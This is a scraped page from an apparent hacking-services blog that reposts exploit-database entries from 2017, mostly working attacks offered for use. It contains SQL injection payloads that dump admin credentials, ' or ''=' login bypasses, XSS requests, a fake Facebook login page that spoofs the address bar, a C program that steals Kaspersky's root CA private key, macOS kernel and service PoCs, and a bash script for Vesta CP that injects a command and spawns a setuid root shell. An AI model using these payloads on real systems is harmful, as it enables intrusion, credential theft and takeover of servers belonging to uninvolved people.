# Exploit : Make or Break 1.7 (imgid) SQL Injection Vulnerability
# Author : v3n0m
# Contact : v3n0m[at]outlook[dot]com
# Date : January, 09-2017 GMT +7:00 Jakarta, Indonesia
# Software : Make or Break
# Version : 1.7 Lower versions may also be affected
# License : Free
# Download : http://software.friendsinwar.com/downloads.php?cat_id=2&file_id=9
# Credits : YOGYACARDERLINK, Dhea Fathin Karima & YOU !!
1. Description
An attacker can exploit this vulnerability to read from the database.
The parameter 'imgid' is vulnerable.
2. Proof of Concept
http://domain.tld/[path]/index.php?imgid=-9999+union+all+select+null,null,null,null,version(),null--
# Exploitation via SQLMap
Parameter: imgid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: imgid=1 AND 4688=4688
Vector: AND [INFERENCE]
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: imgid=1 OR SLEEP(2)
Vector: OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: imgid=1 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7176786271,0x746264586d76465246657a5778446f756c6d696859494e7247735476506447726470676f4e544c59,0x71706b7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- WQyQ
Vector: UNION ALL SELECT NULL,NULL,NULL,[QUERY],NULL,NULL,NULL,NULL,NULL,NULL,NULL[GENERIC_SQL_COMMENT]
3. Security Risk
The security risk of the remote sql-injection web vulnerability in the Make or Break CMS is estimated as high.
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863587297
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Vulnerability: My Php Dating 2.0 - SQL Injection
# Google Dork: use your mind
# Date: 09.01.2017
# Vendor Homepage: http://www.phponlinedatingsoftware.com/demo.htm
# Tested on: win7
# Author: Nassim Asrir
# Author Company: Henceforth
# Contact: wassline@gmail.com
#########################
# SQL Injection/Exploit :
# Vulnerable Parametre : id
# http://localhost/[PATH]/view_profile.php?id=[SQL]
# # # # #
# Vulnerability:: Admin Login Bypass & SQLi
# Date:09.01.2017
# Vendor Homepage: http://software.friendsinwar.com/
# Script Name: My Link Trader
# Script Version: v1.1
# Script DL: http://software.friendsinwar.com/downloads.php?cat_id=2&file_id=13
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# http://localhost/[PATH]/admin/login.php and set Username and Password to 'or''=' and hit enter.
# # # # #
# # # # #
# Vulnerability: My Php Dating 2.0 - SQL Injection Web Vulnerability
# Google Dork: My Php Dating
# Date:09.01.2017
# Vendor Homepage: http://www.phponlinedatingsoftware.com/demo.htm
# Script Name: My Php Dating
# Script Version: 2.0
# Script Buy Now: http://www.phponlinedatingsoftware.com/order.htm
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/view_image.php?path=[SQL]
# # # # #
--------------------------------------------------
Note:
Rate: 0/10 [Rate Picture] <<<Link
--------------------------------------------------
http://localhost/[PATH]/view_image.php?path=-124 union select 1,version(),3,4,5,6,7,8,9
Version: javascript:%20ajax_rate_pic(5.5.52-cll,1,1)
--------------------------------------------------
http://localhost/[PATH]/view_image.php?path=-124+union+select+1,group_concat(admin_id,admin_uname,admin_pass,admin_email),3,4,5,6,7,8,9+from+admin_master--
--------------------------------------------------
http://localhost/[PATH]/view_image.php?path=-124+union+select+1,group_concat(column_name),3,4,5,6,7,8,9+from+information_schema.columns+where+table_schema=database()--
--------------------------------------------------
http://localhost/[PATH]/view_image.php?path=-124+union+select+1,group_concat(table_name),3,4,5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--
# Exploit Title: Splunk 'Referer' Header Cross Site Scripting Vulnerability
# Date: 7th January 2017
# Exploit Author: justpentest
# Vendor Homepage: http://www.splunk.com/
# Version: Splunk 6.1.1 other versions may also be affected.
# Contact: transform2secure@gmail.com
Source: https://www.securityfocus.com/bid/67655/info
1) Description:
Splunk is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2) Exploit:
URL: http://justpentest.com:8000/en-US/app/
GET /en-US/app/ HTTP/1.1
Host=justpentest.com:8000
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-US,en;q=0.5
Accept-Encoding=gzip, deflate
Referer=javascript:prompt("XXS by justpentest");
Connection=keep-alive
----------------------------------------------------------------------------------------
Response:
<p>This page was linked to from <a href="javascript:prompt("XXS by justpentest");">javascript:prompt("XXS by justpentest");</a>.</p>
#################################
#
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@ @ @@@@@@@@@@ @@@ @@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@ @@@ @@@
#
#####################################
#####################################
# Iranian Exploit DataBase
# Directadmin ControlPanel 1.50.1 denial of service Vulnerability
# Directadmin Version : 1.50.1 And Old Version
# Testet On : Centos 6 - Directadmin 1.50.1
# Vendor site : http://www.directadmin.com
# Author : Amir ( iedb.team@gmail.com - https://telegram.me/AmirAm67)
# Site : Www.IeDb.Ir - irist.ir - xssed.Ir
# Iedb Telegram : https://telegram.me/iedbteam
# Archive Exploit = http://www.iedb.ir/exploits-6517.html
#####################################
Description :
An attacker can send a username and password in the login screen DirectAdmin long,DirectAdmin to disrupt And Crach.
This problem is present in all versions of DirectAdmin.
There is no limit on the number of characters entered.
attacker could write a script to attack DDoS based on the following information:
http://Ip:2222/CMD_LOGIN
POST /CMD_LOGIN HTTP/1.1
referer=%2F&username=$POC&password=$POC
$POC = A * 10000
#####################################
** http://iedb.ir ==>> Iranian Exploit DataBase And Iranian Security Team
** http://irist.ir ==>> Register hacked sites
** http://xssed.Ir ==>> Sign vulnerable sites ( xss and sql ) (Vulnerability attack information site)
Thanks to : C0dex,B3hz4d,Beni_vanda,Mr_time,Bl4ck M4n,black_security,Yasser,Ramin Assadian,Black_Nofuzi,SecureHost,1TED,Mr_Kelever,Mr_keeper,Mahmod,Iedb,Khashayar,B3hz4d4,Shabgard,Cl09er,Ramin Asadyan,
Be_lucky,Moslem Haghighian,Dr_Iman,8Bit,Javid,Esmiley_Amir,Mahdi_feizezade,Amin_Zohrabi,Shellshock3 And all my friends And All Member In Iedb.Ir Team
#####################################
# Archive Exploit = http://www.iedb.ir/exploits-6517.html
#####################################
Exploit Title : Advanced Desktop Locker [ Locker Bypass ]
# Date: 8 - 1 - 2017
# Software Link: http://www.encrypt4all.com/products/advanced-desktop-locker-information.php
# Sofrware Version : 6.0.0
# Exploit Author: Squnity | Sir.matrix
# Contact: secfathy@squnity.com
# Website: https://www.squnity.com
# Category: windows
1. Description
This Application Developed To Lock Desktop Control When User Download Files
Or Anywhere
I Can Kill TASK TO Bypass This Application
2. Proof of Concept
- Lock Your Desktop With ADL
- Click on Ctrl + R [ Run Shortcut ]
- Write CMD & Write taskmgr
- When Task Manager Open , Select ADL Prossess And Click Delete To Kill
- Exploited
POC Video :
https://www.youtube.com/watch?v=UXjHwzz2sEo&feature=youtu.be
Brave Browser Suffers from Address Bar Spoofing Vulnerability. Address Bar
spoofing is a critical vulnerability in which any attacker can spoof the
address bar to a legit looking website but the content of the web-page
remains different from the Address-Bar display of the site. In Simple
words, the victim sees a familiar looking URL but the content is not from
the same URL but the attacker controlled content. Some companies say "We
recognize that the address bar is the only reliable security indicator in
modern browsers" .
Products affected:
- In IOS - Affected is the Latest Version 1.2.16 (16.09.30.10)
- In Android - Affected in Brave Latest version 1.9.56
Exploit Code:
<html>
<title>Address Bar spoofing Brave</title>
<h1> This is Dummy Facebook </h1>
<form>
Email: <input type="text" name="username" placeholder="add email"><br>
Password: <input type="text" name="password" placeholder="pass">
<script>
function f()
{
location = "https://facebook.com"
}
setInterval("f()", 10);
</script>
</html>
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=963
The MAX86902 sensor has a driver that exposes several interfaces through which the device may be configured. In addition to exposing a character device, it also exposes several entries under sysfs.
Some of these entries are writable, allowing different values to be configured. Three such files are exposed under the paths:
/sys/devices/virtual/sensors/hrm_sensor/eol_test_result
/sys/devices/virtual/sensors/hrm_sensor/lib_ver
/sys/devices/virtual/sensors/uv_sensor/uv_lib_ver
The sysfs write handlers for these files all share approximately the same logic. Below is one such handler, for the "uv_lib_ver" sysfs entry:
1. static ssize_t max86900_uv_lib_ver_store(struct device *dev,
2. struct device_attribute *attr, const char *buf, size_t size)
3. {
4. struct max86900_device_data *data = dev_get_drvdata(dev);
5. unsigned int buf_len;
6. buf_len = (unsigned int)strlen(buf) + 1;
7. if (buf_len > MAX_LIB_VER)
8. buf_len = MAX_LIB_VER;
9.
10. if (data->uv_lib_ver != NULL)
11. kfree(data->uv_lib_ver);
12.
13. data->uv_lib_ver = kzalloc(sizeof(char) * buf_len, GFP_KERNEL);
14. if (data->uv_lib_ver == NULL) {
15. pr_err("%s - couldn't allocate memory\n", __func__);
16. return -ENOMEM;
17. }
18. strncpy(data->uv_lib_ver, buf, buf_len);
19. pr_info("%s - uv_lib_ver = %s\n", __func__, data->uv_lib_ver);
20. return size;
21. }
Since the code above does not use any mechanism to prevent concurrent access, it contains race conditions which allow corruption of kernel memory.
For example, one such race condition could occur when two attempts to call "write" are executed at the same time, where the underlying buffers have different lengths. More concretely, denote the two accessing tasks "task1" and "task2", correspondingly. Consider the following sequence of events:
-"task1" attempts to write to the entry, and provides a buffer of length 20.
-"task1" manages to execute lines 1-17 (inclusive)
-"task2" now attempts to write to the entry, and provides a buffer of length 2.
-"task2" manages to execute lines 1-13 (inclusive)
-"task1" now executes line 18, resulting in an overflow when writing to data->uv_lib_ver (since its actual length is now 2)
This issue can be addressed by adequate locking when accessing the sysfs entries.
I've statically and dynamically verified this issue on an SM-G935F device. The open-source kernel package I analysed was "SM-G935F_MM_Opensource", the device's build is "XXS1APG3".
The sysfs entries mentioned above have UID "system" and GID "radio". The SELinux context for these entries is: "u:object_r:sysfs_sensor_writable:s0".
According to the default SELinux rules as present on the SM-G935F (version XXS1APG3), the following contexts may access these files:
allow radio sysfs_sensor_writable : file { ioctl read write getattr lock append open } ;
allow factory_adsp sysfs_sensor_writable : file { ioctl read write getattr lock append open } ;
allow sensorhubservice sysfs_sensor_writable : file { write append open } ;
allow sysfs_sensor_writable sysfs_sensor_writable : filesystem associate ;
allow system_app sysfs_sensor_writable : file { ioctl read write getattr lock append open } ;
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40993.zip
Source: https://github.com/theori-io/chakra-2016-11
Proofs of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40990.zip
chakra.dll Info Leak + Type Confusion for RCE
Proof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201)
Tested on Windows 10 Edge (modern.ie stable).
FillFromPrototypes_TypeConfusion.html: WinExec notepad.exe
FillFromPrototypes_TypeConfusion_NoSC.html: 0xcc (INT 3)
To run:
Download exploit/FillFromPrototypes_TypeConfusion.html to a directory.
Serve the directory using a webserver (or python's simple HTTP server).
Browse with a victim IE to FillFromPrototypes_TypeConfusion.html.
=====[ Tempest Security Intelligence - ADV-3/2016 CVE-2016-6283 ]==============
Persisted Cross-Site Scripting (XSS) in Confluence Jira Software
----------------------------------------------------------------
Author(s):
- Jodson Santos
- jodson.santos@tempest.com.br
Tempest Security Intelligence - Recife, Pernambuco - Brazil
=====[Table of Contents]=====================================================
1. Overview
2. Detailed description
3. Affected versions & Solutions
4. Timeline of disclosure
5. Thanks & Acknowledgements
6. References
=====[1. Overview]============================================================
* System affected : Atlassian Confluence
* Software Version : 5.9.12
Other versions or models may also be affected.
* Impact : This vulnerability allows an attacker to use
Confluence's
platform to deliver attacks against other users.
=====[2. Detailed description]================================================
Atlassian Confluence version 5.9.12 is vulnerable to persistent cross-site
scripting (XSS) because it fails to securely validate user controlled data,
thus making it possible for an attacker to supply crafted input in order to
harm users. The bug occurs at pages carrying attached files, even though
the attached file name parameter is correctly sanitized upon submission, it is
possible for an attacker to later edit the attached file name property and
supply crafted data (i.e HTML tags and script code) without the
occurrence of any security checks, resulting in an exploitable persistent XSS.
In order to reproduce the vulnerability, go to a page with an attached
file, click on "Attachments" in order to list the page's attachments, and then
click on "Properties" for the file of your choice. Edit the file name to, for
example, <script>alert(1)</script>test.pdf and then save the changes.
Albeit the XSS is not executed within the page display, it is possible to
trigger the execution of the supplied code while performing a search within
Confluence in which results include the attachment with crafted file name. For that
matter, the search terms " or * will promptly display the file and execute the
injected javascript code.
As a means to further enlighten this, the following excerpt demonstrates
a POST request with the malicious insertion within the newFileName field:
POST
/pages/doeditattachment.action?pageId={pageId}&attachmentBean.fileName={filename} HTTP/1.1
Host: {confluence host}
Cookie: mywork.tab.tasks=false; JSESSIONID={redacted};
confluence.browse.space.cookie=space-templates
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: {redacted}
atl_token={atl_token}&pageId={pageId}&isFromPageView=false&newFileName=<script>alert(1)</script>file&newComment=&newContentType=application%2Foctet-stream&newParentPage=&confirm=Save
It is worth noting that the issue may affect users regardless of privilege
levels, since the malicious page/attachment can be browsed by any user
within the Atlassian Confluence instance.
=====[3. Affected versions & Solutions]=======================================
This test was performed against Atlassian Confluence version 5.9.12.
According to vendor's response, the vulnerability is addressed and the
fix is part of the 5.10.6 release.
=====[4. Timeline of disclosure]==============================================
Jul/07/2016 - Vendor acknowledged the vulnerability.
Aug/04/2016 - Vendor released the fix for the vulnerability in version 5.10.6.
=====[5. Thanks & Acknowledgements]===========================================
- Tempest Security Intelligence / Tempest's Pentest Team [1]
- Joaquim Brasil
- Heyder Andrade
- Breno Cunha
=====[6. References]==========================================================
[1] https://en.wikipedia.org/wiki/Confluence_(software)
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=989
When Kaspersky generate a private key for the local root, they store the private key in %ProgramData%. Obviously this file cannot be shared, because it's the private key for a trusted local root certificate and users can use it to create certificates, sign files, create new roots, etc. If I look at the filesystem ACLs, I should have access, and was about to complain that they've done this incorrectly, but it doesn't work and it took me a while to figure out what they were doing.
$ icacls KLSSL_privkey.pem
KLSSL_privkey.pem BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX) <-- All users should have read access
NT AUTHORITY\SYSTEM:(I)(F)
Successfully processed 1 files; Failed processing 0 files
$ cat KLSSL_privkey.pem
cat: KLSSL_privkey.pem: Permission denied
Single stepping through why this fails, I can see their filter driver will deny access from their PFLT_POST_OPERATION_CALLBACK after checking the Irpb. That sounds difficult to get right, and reverse engineering the filter driver, I can see they're setting Data->IoStatus.Status = STATUS_ACCESS_DENIED if the Irpb->Parameters (like DesiredAccess or whatever) don't match a hardcoded bitmask.
But the blacklist is insufficient, they even missed MAXIMUM_ALLOWED (?!!!). This is trivial to exploit, any unprivileged user can now become a CA.
*/
#include <windows.h>
#include <stdio.h>
#include <io.h>
#include <fcntl.h>
int main(int argc, char **argv)
{
HANDLE File;
BYTE buf[2048] = {0};
DWORD count;
File = CreateFile("c:\\ProgramData\\Kaspersky Lab\\AVP17.0.0\\Data\\Cert\\KLSSL_privkey.pem",
MAXIMUM_ALLOWED,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (File != INVALID_HANDLE_VALUE) {
if (ReadFile(File, buf, sizeof(buf), &count, NULL) == TRUE) {
setmode(1, O_BINARY);
fwrite(buf, 1, count, stdout);
}
CloseHandle(File);
return 0;
}
return 1;
}
/*
$ cl test.c
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86
Copyright (C) Microsoft Corporation. All rights reserved.
test.c
Microsoft (R) Incremental Linker Version 12.00.31101.0
Copyright (C) Microsoft Corporation. All rights reserved.
/out:test.exe
test.obj
$ ./test.exe | openssl rsa -inform DER -text -noout
Private-Key: (2048 bit)
modulus:
00:b4:3f:57:21:e7:c3:45:e9:43:ec:b4:83:b4:81:
bb:d3:3b:9b:1b:da:07:55:68:e0:b1:75:38:b9:66:
0d:4c:e4:e7:f3:92:01:fb:33:bf:e6:34:e4:e8:db:
f1:7c:53:bc:95:2c:2d:08:8d:7c:8c:03:71:cd:07:
*/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x] Type: Admin login bypass via SQLi
[x] Vendor: http://software.friendsinwar.com/
[x] Script Name: My Click Counter
[x] Script Version: 1.0
[x] Script DL: http://software.friendsinwar.com/downloads.php?cat_id=2&file_id=15
[x] Author: AnarchyAngel AKA Adam
[x] Mail : anarchy[dot]ang31@gmail[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Navigate to scripts admin login page and submit ' or ''=' for username and password
it should give you access to the admin area. Enjoy >:)
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=954
Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40954.zip
Userspace MIG services often use mach_msg_server or mach_msg_server_once to implent an RPC server.
These two functions are also responsible for managing the resources associated with each message
similar to the ipc_kobject_server routine in the kernel.
If a MIG handler method returns an error code then it is assumed to not have take ownership of any
of the resources in the message and both mach_msg_server and mach_msg_server_once will pass the message
to mach_msg_destroy:
If the message had and OOL memory descriptor it reaches this code:
case MACH_MSG_OOL_DESCRIPTOR : {
mach_msg_ool_descriptor_t *dsc;
dsc = &saddr->out_of_line;
if (dsc->deallocate) {
mach_msg_destroy_memory((vm_offset_t)dsc->address,
dsc->size);
}
break;
}
...
static void
mach_msg_destroy_memory(vm_offset_t addr, vm_size_t size)
{
if (size != 0)
(void) vm_deallocate(mach_task_self(), addr, size);
}
If the deallocate flag is set in the ool descriptor then this will pass the address contained in the descriptor
to vm_deallocate.
By default MIG client code passes OOL memory with the copy type set to MACH_MSG_PHYSICAL_COPY which ends up with the
receiver getting a 0 value for deallocate (meaning that you *do* need vm_deallocate it in the handler even if you return
and error) but by setting the copy type to MACH_MSG_VIRTUAL_COPY in the sender deallocate will be 1 in the receiver meaning
that in cases where the MIG handler vm_deallocate's the ool memory and returns an error code the mach_msg_* code will
deallocate it again.
Exploitability hinges on being able to get the memory reallocated inbetween the two vm_deallocate calls, probably in another thread.
This PoC only demonstrates that an instance of the bug does exist in the first service I looked at,
com.apple.system.DirectoryService.legacy hosted by /usr/libexec/dspluginhelperd. Trace through in a debugger and you'll see the
two calls to vm_deallocate, first in _receive_session_create which returns an error code via the MIG reply message then in
mach_msg_destroy.
Note that this service has multiple threads interacting with mach messages in parallel.
I will have a play with some other services and try to exploit an instance of this bug class but the severity should
be clear from this PoC alone.
Tested on MacOS Sierra 10.12 16A323
##############################################################################
crash PoC
dspluginhelperd actually uses a global dispatch queue to receive and process mach messages,
these are by default parallel which makes triggering this bug to demonstrate memory corruption
quite easy, just talk to the service on two threads in parallel.
Note again that this isn't a report about this particular bug in this service but about the
MIG ecosystem - the various hand-written equivilents of mach_msg_server* / dispatch_mig_server
eg in notifyd and lots of other services all have the same issue.
*/
// ianbeer
// build: clang -o dsplug_parallel dsplug_parallel.c -lpthread
/*
crash PoC
dspluginhelperd actually uses a global dispatch queue to receive and process mach messages,
these are by default parallel which makes triggering this bug to demonstrate memory corruption
quite easy, just talk to the service on two threads in parallel.
Note again that this isn't a report about this particular bug in this service but about the
MIG ecosystem - the various hand-written equivilents of mach_msg_server* / dispatch_mig_server
eg in notifyd and lots of other services all have the same issue.
*/
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <servers/bootstrap.h>
#include <mach/mach.h>
char* service_name = "com.apple.system.DirectoryService.legacy";
mach_msg_header_t* msg;
struct dsmsg {
mach_msg_header_t hdr; // +0 (0x18)
mach_msg_body_t body; // +0x18 (0x4)
mach_msg_port_descriptor_t ool_port; // +0x1c (0xc)
mach_msg_ool_descriptor_t ool_data; // +0x28 (0x10)
uint8_t payload[0x8]; // +0x38 (0x8)
uint32_t ool_size; // +0x40 (0x4)
}; // +0x44
mach_port_t service_port = MACH_PORT_NULL;
void* do_thread(void* arg) {
struct dsmsg* msg = (struct dsmsg*)arg;
for(;;){
kern_return_t err;
err = mach_msg(&msg->hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
(mach_msg_size_t)sizeof(struct dsmsg),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
printf("%s\n", mach_error_string(err));
}
return NULL;
}
int main() {
mach_port_t bs;
task_get_bootstrap_port(mach_task_self(), &bs);
kern_return_t err = bootstrap_look_up(bs, service_name, &service_port);
if(err != KERN_SUCCESS){
printf("unable to look up %s\n", service_name);
return 1;
}
if (service_port == MACH_PORT_NULL) {
printf("bad service port\n");
return 1;
}
printf("got port\n");
void* ool = malloc(0x100000);
memset(ool, 'A', 0x1000);
struct dsmsg msg = {0};
msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
msg.hdr.msgh_remote_port = service_port;
msg.hdr.msgh_local_port = MACH_PORT_NULL;
msg.hdr.msgh_id = 0x2328; // session_create
msg.body.msgh_descriptor_count = 2;
msg.ool_port.name = MACH_PORT_NULL;
msg.ool_port.disposition = 20;
msg.ool_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.ool_data.address = ool;
msg.ool_data.size = 0x1000;
msg.ool_data.deallocate = 0; //1;
msg.ool_data.copy = MACH_MSG_VIRTUAL_COPY;//MACH_MSG_PHYSICAL_COPY;
msg.ool_data.type = MACH_MSG_OOL_DESCRIPTOR;
msg.ool_size = 0x1000;
pthread_t threads[2] = {0};
pthread_create(&threads[0], NULL, do_thread, (void*)&msg);
pthread_create(&threads[1], NULL, do_thread, (void*)&msg);
pthread_join(threads[0], NULL);
pthread_join(threads[1], NULL);
return 0;
}
#!/bin/bash
#
# Exploit Title: Vesta Control Panel 0.9.7 <= 0.9.8-16 Local Privilege Escalation Exploit
# Google Dork: vesta control panel inurl:8083
# Exploit Author: Jaka Hudoklin @offlinehacker
# Vendor Homepage: http://vestacp.com/
# Software Link: https://github.com/serghey-rodin/vesta
# Version: 0.9.7 - 0.9.8-16
#
# Description:
# Vesta CP default install script adds /usr/local/vesta/bin/ directory into
# /etc/sudoers.d with the NOPASSWD option for the default "admin" user. All
# programs in /usr/local/vesta/bin/ directory can therefore be run as root. A
# command injection vulnerability in "v-get-web-domain-value" script can be
# exploited to run arbitrary commands and escalate from admin user to root.
#
# Vulnerability:
# Parameter $3 (key) in v-get-web-domain-value is not properly sanitized before
# being passed to bash eval.
#
#
# Navigate to a writeable directory, usually /tmp.
cd /tmp
# Write a simple C suid shell to suid.c.
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
# Compile suid shell with gcc.
# [!] If there is no gcc on the system deploy a precompiled binary manually.
gcc suid.c -o suid
# Create a shell script called PWN that will be run as root.
# PWN will weaponize ./suid with executable permissions and suid bit.
echo "chown root:root suid; chmod 777 suid; chmod +s suid;" > PWN
# Make PWN shell script executable.
chmod +x PWN
# Inject command to run PWN into v-get-web-domain-value parameter $3.
sudo /usr/local/vesta/bin/v-get-web-domain-value 'admin' 'domain.com' 'x; ./PWN;'
# Spawn the root shell.
./suid
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=974
There are two ways for IOServices to define their IOUserClient classes: they can
override IOService::newUserClient and allocate the correct type themselves
or they can set the IOUserClientClass key in their registry entry.
The default implementation of IOService::newUserClient does this:
IOReturn IOService::newUserClient( task_t owningTask, void * securityID,
UInt32 type, OSDictionary * properties,
IOUserClient ** handler )
{
const OSSymbol *userClientClass = 0;
IOUserClient *client;
OSObject *temp;
if (kIOReturnSuccess == newUserClient( owningTask, securityID, type, handler ))
return kIOReturnSuccess;
// First try my own properties for a user client class name
temp = getProperty(gIOUserClientClassKey);
if (temp) {
if (OSDynamicCast(OSSymbol, temp))
userClientClass = (const OSSymbol *) temp;
else if (OSDynamicCast(OSString, temp)) {
userClientClass = OSSymbol::withString((OSString *) temp);
if (userClientClass)
setProperty(kIOUserClientClassKey,
(OSObject *) userClientClass);
}
}
// Didn't find one so lets just bomb out now without further ado.
if (!userClientClass)
return kIOReturnUnsupported;
// This reference is consumed by the IOServiceOpen call
temp = OSMetaClass::allocClassWithName(userClientClass);
if (!temp)
return kIOReturnNoMemory;
if (OSDynamicCast(IOUserClient, temp))
client = (IOUserClient *) temp;
else {
temp->release();
return kIOReturnUnsupported;
}
if ( !client->initWithTask(owningTask, securityID, type, properties) ) {
... continue on and call client->start(this) to connect the client to the service
This reads the "IOUserClientClass" entry in the services registry entry and uses the IOKit
reflection API to allocate it.
If an IOService doesn't want to have any IOUserClients then it has two options, either override
newUserClient to return kIOReturnUnsupported or make sure that there is no IOUserClientClass
entry in the service's registry entry.
AppleBroadcomBluetoothHostController takes the second approach but inherits from IOBluetoothHostController
which overrides ::setProperties to allow an unprivileged user to set *all* registry entry properties,
including IOUserClientClass.
This leads to a very exploitable type confusion issue as plenty of IOUserClient subclasses don't expect
to be connected to a different IOService provider. In this PoC I connect an IGAccelSharedUserClient to
a AppleBroadcomBluetoothHostController which leads immediately to an invalid virtual call. With more
investigation I'm sure you could build some very nice exploitation primitives with this bug.
Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
*/
// ianbeer
// clang -o wrongclass wrongclass.c -framework IOKit -framework CoreFoundation
#if 0
MacOS kernel code execution due to writable privileged IOKit registry properties
There are two ways for IOServices to define their IOUserClient classes: they can
override IOService::newUserClient and allocate the correct type themselves
or they can set the IOUserClientClass key in their registry entry.
The default implementation of IOService::newUserClient does this:
IOReturn IOService::newUserClient( task_t owningTask, void * securityID,
UInt32 type, OSDictionary * properties,
IOUserClient ** handler )
{
const OSSymbol *userClientClass = 0;
IOUserClient *client;
OSObject *temp;
if (kIOReturnSuccess == newUserClient( owningTask, securityID, type, handler ))
return kIOReturnSuccess;
// First try my own properties for a user client class name
temp = getProperty(gIOUserClientClassKey);
if (temp) {
if (OSDynamicCast(OSSymbol, temp))
userClientClass = (const OSSymbol *) temp;
else if (OSDynamicCast(OSString, temp)) {
userClientClass = OSSymbol::withString((OSString *) temp);
if (userClientClass)
setProperty(kIOUserClientClassKey,
(OSObject *) userClientClass);
}
}
// Didn't find one so lets just bomb out now without further ado.
if (!userClientClass)
return kIOReturnUnsupported;
// This reference is consumed by the IOServiceOpen call
temp = OSMetaClass::allocClassWithName(userClientClass);
if (!temp)
return kIOReturnNoMemory;
if (OSDynamicCast(IOUserClient, temp))
client = (IOUserClient *) temp;
else {
temp->release();
return kIOReturnUnsupported;
}
if ( !client->initWithTask(owningTask, securityID, type, properties) ) {
... continue on and call client->start(this) to connect the client to the service
This reads the "IOUserClientClass" entry in the services registry entry and uses the IOKit
reflection API to allocate it.
If an IOService doesn't want to have any IOUserClients then it has two options, either override
newUserClient to return kIOReturnUnsupported or make sure that there is no IOUserClientClass
entry in the service's registry entry.
AppleBroadcomBluetoothHostController takes the second approach but inherits from IOBluetoothHostController
which overrides ::setProperties to allow an unprivileged user to set *all* registry entry properties,
including IOUserClientClass.
This leads to a very exploitable type confusion issue as plenty of IOUserClient subclasses don't expect
to be connected to a different IOService provider. In this PoC I connect an IGAccelSharedUserClient to
a AppleBroadcomBluetoothHostController which leads immediately to an invalid virtual call. With more
investigation I'm sure you could build some very nice exploitation primitives with this bug.
Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
int main(){
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleBroadcomBluetoothHostController"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 1;
}
printf("got service: %x\n", service);
// try to set the prop:
kern_return_t err;
err = IORegistryEntrySetCFProperty(
service,
CFSTR("IOUserClientClass"),
CFSTR("IGAccelSharedUserClient"));
if (err != KERN_SUCCESS){
printf("setProperty failed\n");
} else {
printf("set the property!!\n");
}
// open a userclient:
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 1;
}
printf("got userclient connection: %x\n", conn);
return 0;
}
#!/usr/bin/sh
#
# CVE-2016-8972/bellmailroot.sh: IBM AIX Bellmail local root
#
# Affected versions:
